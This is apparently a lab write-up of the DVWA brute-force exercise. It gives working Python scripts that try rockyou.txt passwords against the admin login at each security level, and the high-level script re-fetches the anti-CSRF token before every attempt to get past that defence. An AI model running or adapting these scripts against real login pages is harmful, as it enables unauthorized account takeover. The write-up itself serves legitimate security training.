Description
- Vulnerability: Brute-force
- Impact: Brute-force and get the admin account credentials.
LOW Security Level
This is the simple code I created to brute-force the admin account using rockyou.txt password lists.
Change PHPSESSID to your own one.
import requests
baseUrl = "http://localhost/DVWA/vulnerabilities/brute/?Login=Login&username=admin"
cookies = {
"PHPSESSID": "91fdcd96e5376633ef607edd0a1b8093",
"security": "low"
}
try:
with open('/usr/share/wordlists/rockyou.txt') as file:
for line in file:
password = line.rstrip()
url = baseUrl + f"&password={password}"
try:
print(f"Attempting: password={password}")
res = requests.get(url, cookies=cookies)
if "Username and/or password incorrect." not in res.text:
print()
print("=> Password found: ", password)
exit()
except requests.exceptions.RequestException as e:
print("Request error:", e)
continue
except FileNotFoundError as e:
print("File not found:", e)
MEDIUM Security Level
The only difference between LOW and MEDIUM level is in the Login failed if logic:
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
If we submit wrong credentials instead of immediately pop up an error message it will wait for 2 seconds, so we can use the same code as LOW Security level to brute-force the admin account.
HIGH Security Level
This level add a CSRF Token in order to prevent attackers from freely brute-force the account if you inspect the form you can see a new input
<input type="hidden" name="user_token" value="CHANGE_EVERY_TIME_RELOAD_THE_PAGE" />
The server will check this created user_token before doing the authentication logic and this token is required. The server code:
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
Also, this sleep function will make the response become slower when we submit a wrong credentials
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
The workflow is this:
- First make a GET request to page and take the created
user_token. - Use that
user_tokento make a brute-force request trying the password. - If failed continue make a GET request to get new
user_tokenand brute-force again.
Exploitation code:
import requests
import re
baseUrl = "http://localhost/DVWA/vulnerabilities/brute/"
cookies = {
"PHPSESSID": "91fdcd96e5376633ef607edd0a1b8093",
"security": "high"
}
pattern = r"name='user_token' value='([a-fA-F0-9]+)'"
try:
with open('/usr/share/wordlists/rockyou.txt') as file:
for line in file:
password = line.rstrip()
url = baseUrl + f"?Login=Login&username=admin&password={password}"
try:
# Take CSRF Token
res = requests.get(baseUrl, cookies=cookies)
match = re.search(pattern, res.text)
if match:
token = match.group(1)
url += f"&user_token={token}"
else:
print("Failed to taken token")
continue
# Brute-force password
print(f"Attempting: password={password}")
res = requests.get(url, cookies=cookies)
if "Username and/or password incorrect." not in res.text:
print()
print("=> Password found: ", password)
exit()
except requests.exceptions.RequestException as e:
print("Request error:", e)
continue
except FileNotFoundError as e:
print("File not found:", e)
